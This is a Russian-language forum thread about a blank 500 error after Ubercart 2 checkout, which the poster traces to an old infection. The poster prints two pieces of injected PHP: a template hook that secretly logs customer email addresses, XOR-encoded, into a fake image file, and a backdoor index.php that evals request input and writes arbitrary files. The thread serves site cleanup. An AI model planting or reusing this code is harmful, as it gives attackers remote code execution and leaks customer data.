Дано: Ubercart 2, слегка модифицированная Pixture Reloaded.
Проблема следующая: после оформления заказа на последнем этапе, на странице cart/checkout/complete появляется пустая страница (Chromium говорит о Internal Server Error, ошибка 500). При этом заказ регистрируется в Ubercart и отправляется на почту админу (правда, покупателю письмо о заказе не приходит, несмотря на то, что это правило установлено).
Если страницу обновить, — появляется сообщение «Заказ завершён», номер заказа и т.д., как будто проблемы и не было.
Проблема не зависит ни от браузера, ни от товара, ни от пользователя, ни от параметров заказа.
В чём может быть проблема? Откуда копать? На форуме пару раз поднималась подобная проблема, но решения никто не нашёл.
UPD. Причина оказалась в вирусе. Подробности — ниже.
Комментарии
500 либо ошибка в коде, либо нехватка ресурсов изза ограничений. скорее всего ресурсов не хватает
Видимо всё-таки ошибка в коде: раскопал старый архив сайта, поднял на том же хостинге — всё в порядке.
Не подскажите, как можно сократить поиск — как выяснить, где именно кроется ошибка?
Проблему решил. Причиной оказалась вирусная атака, перенесённая сайтом пару месяцев назад.
Проблема была в файлах uc_order-admin.tpl.php и uc_order-customer.tpl.php, которые находятся в каталоге sites/all/modules/ubercart/uc_order/templates/. В коде обоих шаблонов в начале файла, после <?рhр, находился кусок кода, запускающий вирусный файл при оформлении покупки через Ubercart:
<?php
/* 37e1acb47735c1611b6ab2d51e663f2c */ function xmail () { $a=func_get_args(); file_put_contents('/home/u1324/domains/site.ru/sites/all/modules/ckeditor/plugins/linktonode/images/vy7.jpg', x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s; $o = ''; for($i=0;$i<strlen($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?><?php
?>
Как видно, код запускает вирусный файл, находящийся в каталоге sites/all/modules/ckeditor/plugins/linktonode/images/. Всего (исключая незаражённые файлы) там находилось вот 3 файла: h9u.jpg, vy7.jpg, и index.php — где сидела сама зараза:
<?php $erqm = "d52eb139348265bdb910d5428d12c1e6"; if(isset($_REQUEST['bxwlmdd'])) { $hjlt = $_REQUEST['bxwlmdd']; eval($hjlt); exit(); } if(isset($_REQUEST['gyyz'])) { $bblyf = $_REQUEST['sajmye']; $hveuesrm = $_REQUEST['gyyz']; $vswzhj = fopen($hveuesrm, 'w'); $rajei = fwrite($vswzhj, $bblyf); fclose($vswzhj); echo $rajei; exit(); }
?>
Как только я удалил вирусный код из шаблонов ubercart и файлы из каталога ckeditor, описанная в топике проблема решилась.